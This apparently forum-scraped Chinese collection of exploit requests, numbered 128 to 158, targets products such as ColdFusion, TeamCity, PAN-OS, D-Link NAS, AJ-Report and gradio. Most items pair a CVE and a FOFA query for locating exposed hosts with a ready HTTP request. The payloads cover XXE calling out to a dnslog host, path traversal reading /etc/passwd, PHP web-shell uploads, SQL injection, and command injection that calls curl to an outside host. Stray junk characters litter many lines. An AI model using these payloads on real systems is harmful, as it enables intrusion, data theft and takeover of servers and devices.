5 l* d& u& I7 a/ h------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"
" n) k" e3 H- z( t, o" h: h1 R+ ?
8 m5 F/ [: r3 C2 |/ s. dBIM
! R1 }: c% H- ^------WebKitFormBoundaryJGgV5l5ta05yAIe0
, }, M8 @( N7 a" ~2 iContent-Disposition: form-data;name="Params"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
>
8 B: O: n' O( P8 T<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--
4 w' o' ]0 ^, j

  Q! i; I" Z% r' l
128. Adobe ColdFusion 反序列化
' w7 @' Z( A% K* m: T( U8 yCVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
3 k$ ?% @  A, S4 c; k: XFOFA：app="Adobe-ColdFusion"
6 j' ?" W0 ?5 s$ ~8 HPAYLOAD
% @# x8 h9 R2 y- J9 G1 o
129. Adobe ColdFusion 任意文件读取
8 R" n. s7 F" K0 s$ @  F* X+ KCVE-2024-20767
, ?. M- Z& `. H- |6 F8 GFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
/ `4 s9 G* P2 r; [, l' SGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
, u- D5 N. i9 k4 z4 {Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
5 o6 d! F- }0 r* E% r

第二步，读取/etc/passwd文件
5 F' f( c) \' k: x8 P0 ~GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
' D8 v2 W; l# j" s7 U" r: bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
7 K8 _- N* a# u5 L0 O5 S8 O6 YAccept: */*
Accept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9

  r: J2 l3 g! n
: \% |. n! Z! W3 }5 I# p: a; c130. Laykefu客服系统任意文件上传
" M6 C" |" Y+ W/ z; f8 pFOFA：icon_hash="-334624619"
! Q9 `7 H) Y" M, F6 EPOST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
Connection: close

$ D: j. ^9 r9 |/ r------WebKitFormBoundary3OCVBiwBVsNuB2kR
2 O8 a. c! x# QContent-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png
' s+ `$ r9 A- S. M
4 s; A. L6 D3 R, `& ?<?php phpinfo();@eval($_POST['sec']);?>
; c# y, Y6 e4 b/ k7 F) N3 v" K------WebKitFormBoundary3OCVBiwBVsNuB2kR--
* ^# @  A1 o" y6 T) j  u/ y
" T1 P4 i% K* w
131. Mini-Tmall <=20231017 SQL注入
3 I8 k$ }4 u6 Q- O. i' PFOFA：icon_hash="-2087517259"
2 B& Y* C3 {1 k! k) X/ m% m1 `- @后台地址：http://localhost:8080/tmall/admin
9 _+ d/ z& R' H  W  r" v# y* xhttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
+ ?0 `+ ~  F8 b4 Z1 I& b
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
- ~7 W/ P. }* I: z; E6 t% e3 |; \FOFA：body="Log in to TeamCity"
/ Z3 Y1 _3 o% X! oPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
6 ~+ k* b/ A4 `( w1 M" G* N/ s$ |Host: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
3 ^0 S% I' a# A8 L' Z- ~! |$ |Accept-Encoding: gzip, deflate
7 G8 Y/ ^8 D5 X
2 F6 J$ I7 [' a6 l{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
  X: H6 s* I: G; G6 x
) ]: C. Q: \0 S7 R  y
CVE-2024-27199
/res/../admin/diagnostic.jsp
7 d3 D# e; B5 @! s/.well-known/acme-challenge/../../admin/diagnostic.jsp
/ \3 J; U- s! s( e8 Y& X$ }7 h/update/../admin/diagnostic.jsp
6 n$ o$ q5 z. Z9 w- R; Q9 R- `

CVE-2024-27198-RCE.py

133. H5 云商城 file.php 文件上传
! ]9 }* f* _; P2 Q) h2 u* \. t& CFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
* l8 _' _' x; H. y/ ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
9 d( a' ~7 b, c% }
4 y& f$ x. ]& ~' Y  a------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
. V7 Y8 M9 ]7 AContent-Type: application/octet-stream
& Y% S" a* s% b! _/ k# M
7 j% i* ]  P) g0 f  _* E/ Q<?php system("cat /etc/passwd");unlink(__FILE__);?>
. ~& L" Z0 v, `3 m------WebKitFormBoundaryFQqYtrIWb8iBxUCx--

" H$ N& V; o  y' T2 s# C, h
9 F! |& `: m7 r$ v5 b0 K3 @1 L
134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
( A- a8 {7 \# x* F+ C: W$ f; jPOST /protocol/index.php HTTP/1.1
Host: x.x.x.x
3 `5 u7 `/ N5 z" `! kCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
! k) L' G; ]9 A8 I# b$ W0 J' MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
& a; M- Q& |7 E. hAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
. u( _* _( p$ ^Sec-Fetch-Dest: empty
% r9 l7 c% d" k- d5 h$ n7 P! x* WSec-Fetch-Mode: cors
6 o6 Y$ T  o+ R& U2 k" I) w9 RSec-Fetch-Site: same-origin
0 O4 g, x# v7 D# j8 M) o! X% nTe: trailers
3 w) {5 ?$ D7 E: \' F- vConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263
# \) f& u8 o; a# |/ j1 x4 p! L
( j. C+ l! o& ^# U( w2 Sjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

* c+ ]( D1 L( |: A1 h
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
5 p/ x3 K1 }# h2 I) Z9 g# Y" U2 ?% aFOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% p1 A# t6 Y* Y/ _2 ~Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
$ n: r9 r/ ]7 O8 n) T7 QConnection: close

1 \8 \1 ]7 e+ q; H5 o! A4 L
136. NextChat cors SSRF
& D* ^: n' P( k5 Q2 `1 h8 eCVE-2023-49785
FOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
9 T4 L: b! Y. g% ]! s! x$ XConnection: close
Accept: */*
Accept-Language: en
# t, k5 ~6 a+ y' g. t( Y1 S* WAccept-Encoding: gzip

$ t0 p. _. [9 W/ o
137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
2 ]% o( K6 E8 Y8 T; u; w; nFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
( _* }9 h7 b& q6 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
/ L4 ?3 I7 {4 m8 m; P! n; v/ zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
0 L5 ?7 x6 z/ I% r* O3 Z; RConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
/ ^- {; A% C  X- J4 ~$ h  n& O8 E% g1 xUpgrade-Insecure-Requests: 1
0 t: A. i; n: C+ I5 N, {
/ |% b# B; q! y# U1 ~
8 \- T5 F7 O1 M0 P2 E( L138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
9 d2 O/ X0 _! w8 F0 N$ XCVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
* j  S& m- B! I2 U) jHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
2 w7 o5 A, ]7 \+ L6 AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" [8 w( Z# {% |' j4 ~5 O: tAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 M, J- L) Z1 ]# ^; VAccept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1


139. 福建科立讯通信指挥调度平台editemedia.php sql注入
1 c9 U5 c- z; |# qCVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
" j9 v6 c/ N' i' ?GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
7 `4 }1 ^0 t" O' {4 _4 HHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
5 G( u8 V2 Y2 O/ I" p  I4 QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 z' m; j5 p" m3 ]/ w6 @3 xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
* W# x! k" I- v* ]3 jConnection: close
* k8 A5 `2 U- Y- n$ uCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1
# b4 A9 b/ T5 W% t0 G# _% K5 @. c

4 c: L, J) p" O; }9 g: r- m140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
* s& G) m0 f6 {. KCVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
+ g9 w/ `: ^# {* ?' |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
0 N' f; |1 }0 UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" t! ^/ b/ b( w. q' P7 bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
- e4 Q$ Z/ P( L" z# `Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1


$ Q' _; y' ~7 C' Z9 T* o1 J141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
: O* Q+ W1 R# Z9 p* I$ QFOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
( K0 s: ~4 i0 D2 R' }4 o( iUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
( a3 W# b( ^3 vContent-Type: application/x-www-form-urlencoded


9 a, A8 N4 c8 W8 x/ v; Qdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
& R% C; c7 G- i9 o

142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
$ n; F. Q% `! _; X. \) m# Q: ~8 MFOFA：body="/808gps/"
admin/admin
$ f2 R* E# @+ ]9 F' _. [; `143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
; F& {) q5 O& F" u; w( vFOFA：title='AP setup' && header='netis'
4 u# a4 L3 p% UPAYLOAD
: Q+ C. m  D: @
144. D-Link nas_sharing.cgi 命令注入
2 S/ z7 `0 ^+ |( vFOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
( [5 x; G5 M7 T6 b- |! x- sHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
, X& n0 ]( _3 y+ V2 eAccept: */*
$ l  m& }; ^, g" rAccept-Language: en
Accept-Encoding: gzip


7 u! \' H5 k+ U, d0 x9 ]- L: {+ F! y- b145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
9 u) m, Q2 M# X/ T  vFOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
  s( G( v$ L. [Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
- f2 ]6 n# ~/ j) q% y) Q. C$ h. ^9 JAccept-Encoding: gzip
9 x& v* ~+ T! p! r4 t

146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
. r# A, G7 p) Z, W% HFOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
: w$ f- f" [  n+ pHost: x.x.x.x
# b) [4 i! m% f$ t1 f+ l! rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
& G: P, G7 {. O! R/ ZAccept-Charset: utf-8
  _/ E4 f; w+ q  l+ k' `Accept-Encoding: gzip, deflate
Connection: close
/ A( V2 o# B3 ]) i. x

147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
- Z+ h: A* X: `Cache-Control: max-age=0
Connection: close


148. CrushFTP 认证绕过模板注入
CVE-2024-4040
; [# Y% j5 x$ G, EFOFA：body="CrushFTP"
PAYLOAD
' t1 a8 ]; J& d+ P3 w: _
149. AJ-Report开源数据大屏存在远程命令执行
( r  q9 V/ s4 y- T2 gFOFA：title="AJ-Report"

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
2 m. h$ {! H0 ZHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) G$ A7 B( L8 X# v* \- dAccept-Encoding: gzip, deflate, br
2 o& h/ ]% G8 A" D5 C, K2 O" VAccept-Language: zh-CN,zh;q=0.9
) V! {/ ^- \8 z8 s3 _: ?" VContent-Type: application/json;charset=UTF-8
5 t! W1 E0 Z) B2 f, ^* E0 WConnection: close
6 y9 W6 h' d4 q- p
$ x% r9 ]* n- B. E6 F/ j+ ~' @2 P{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
  `8 w" W  |/ k5 b5 YFOFA：title="AJ-Report"
% {( |" m; m# dPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
) s. x6 [4 z- U2 d1 \4 ]7 qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
* {( Q( I. g" Z$ @; K9 v: k: o" NAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
, ~- i" \4 i( y7 o) [2 U: V* C* yConnection: close
Content-Length: 339

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

$ ]9 j1 l0 j9 `$ C3 m. W/ ~
151. AJ-Report 1.4.1 pageList sql注入
; x# V( k9 Q& Q4 t2 g( o% UFOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
% y5 T6 I9 i. ~2 E  `' g6 @1 wHost: x.x.x.x
$ w& t3 Z/ C& S3 V3 f5 D( YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip


152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
# `" |, r4 f) w- I  k7 {; ^LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
. B; ?8 K0 s3 \/ M! {8 X2 @9 CLoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
3 k9 H, u5 G, r0 M; Q$ U' p5 h2 @; hJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
  t- M* z( x8 mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
- p' O+ a. A* l, \( H- N1 G& lConnection: close
Accept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip

- F$ U2 e$ Z0 m6 a, R7 G
1 m5 ]9 e' v+ j4 u6 D153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
: r6 U6 M7 Y$ G& dhttp://x.x.x.x/config

! c, |% e( V! t% o
# W. y. e" H* s第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
& S: j) g3 x0 h$ SConnection: close
) q" F6 ]' K" n/ O1 TContent-Length: 115
# Y, B- a0 R- v# t" ~" gContent-Type: application/json
Accept-Encoding: gzip
) y0 Q( C6 t& q" B
( q! r! r* n8 d{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
' @- C  e; j/ }# [' W. K

7 j/ i; H  M( O6 w第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

, P& X# }7 H# Q' [; e/ B
154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
6 }7 |" E* D/ OPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
Content-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
% t" j) E# O4 d7 x$ [2 ]Content-Type: application/json
/ i  t, D' S: U/ fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
2 M/ |9 C' Y5 x+ w5 A, aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
! O) w5 w' g/ N7 N! QAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
8 V' ^) z9 L* gConnection: close
. W1 W1 }+ K2 z7 w' e- |
{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}


4 N& ?+ X4 G4 Y* B155. 六零导航页 file.php 任意文件上传
, G5 t9 t' }8 |! v1 ^% ZCVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
" Y( g/ L  a2 N, IPOST /include/file.php HTTP/1.1
1 j8 b, w1 z; Z) {& V; Z. jHost: x.x.x.x
& S& S4 }; N# q8 I6 A) g3 d; GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
' F: G* t) f. R7 `  PContent-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
8 d# f% {$ o- y: F8 ~5 m1 RAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ s: s2 H* x, @5 p9 K* _0 ^  yContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
  b- h" r$ m6 t, B3 mX-Requested-With: XMLHttpRequest
- [8 I3 A1 ^$ Y4 P- _) v
-----------------------------qttl7vemrsold314zg0f
$ p0 x5 L3 D& N# b. HContent-Disposition: form-data; name="file"; filename="test.php"
3 L2 F  x  N9 L1 O1 o# m4 zContent-Type: image/png
" H. T( D3 m  P2 f0 z
<?php phpinfo();unlink(__FILE__);?>
9 N6 k; X* C; Z; I. h/ e-----------------------------qttl7vemrsold314zg0f--

" v& e8 n; F7 I
1 s1 s0 c7 r! S0 m9 L访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
+ K; I/ Q$ g( o2 o, _% k
156. TBK DVR-4104/DVR-4216 操作系统命令注入
7 f4 M9 ]: }$ ]CVE-2024-3721
# V( I0 a, F+ J: S9 v8 KFOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
7 }& ]1 q6 x2 m
4 m' p8 Y2 T6 b' y3 ~5 [9 X
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
, Y$ h# V  {) \/ XHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
% w  X; k! i* N9 t; j/ s, AContent-Length: 0
2 P9 k3 F* q: ^* f1 p) e$ ?Cookie: uid=1
5 W5 W  E5 G5 P& }* y! x: {9 ~Accept-Encoding: gzip
5 u- Y, ]* w: T9 S+ B3 p$ N
9 S3 \1 E6 ]9 A6 ^4 x7 k9 Z  _. ~: T
157. 美特CRM upload.jsp 任意文件上传
  ]# s7 p1 ?6 S0 J( o) qCNVD-2023-06971
' M0 M1 r6 p3 E6 |4 D  k7 OFOFA：body="/common/scripts/basic.js"
9 U0 s5 g" l& X8 g% xPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
- k# t( ^6 V! W1 `. H2 LHost: x.x.x.x
( n9 d' l/ L6 v( z' RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
* k- a" ]( z+ pContent-Length: 709
# w2 U$ {$ v- Q9 h+ m6 nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 ?* @- v* o- p( dAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
, a- s/ x4 t. VConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
. s/ b  {2 P3 vUpgrade-Insecure-Requests: 1

------WebKitFormBoundary1imovELzPsfzp5dN
  j$ M1 p, I' K7 P! L) UContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
9 c% u) \! K$ }9 o' ^: hContent-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
- X+ w/ K2 T: i) [" w7 y------WebKitFormBoundary1imovELzPsfzp5dN
' ^: a# {! x# C- S* ^* MContent-Disposition: form-data; name="key"

null
  h5 ~0 K5 G, Y$ g------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"

% V* L  V$ W2 m% Znull
------WebKitFormBoundary1imovELzPsfzp5dN
2 k6 R/ Q& Z" n8 P& C' X7 rContent-Disposition: form-data; name="field"
; c9 x/ o8 v& c9 p. }- R6 s: [5 L- m
null
% j2 d# S0 N0 T. k$ {/ i, U------WebKitFormBoundary1imovELzPsfzp5dN
: Y+ T, s4 }6 d# g  {/ \$ yContent-Disposition: form-data; name="filetitile"

null
------WebKitFormBoundary1imovELzPsfzp5dN
% c" H& V- v$ p. v$ B5 [) dContent-Disposition: form-data; name="filefolder"

null
' s4 |& x, \3 X4 a; D) Y2 o------WebKitFormBoundary1imovELzPsfzp5dN--
# m$ T; y/ \3 z" b
- O! w# @' F) L8 i. z( c; {
! C! f: W( w6 {http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
/ j/ h) |, w8 N$ h3 o* w$ B
158. Mura-CMS-processAsyncObject存在SQL注入
/ U  D* n/ Y; |! v+ ~3 Q) fCVE-2024-32640
  y3 t, Q' |1 @; }: q9 L0 KFOFA："Generator: Masa CMS"
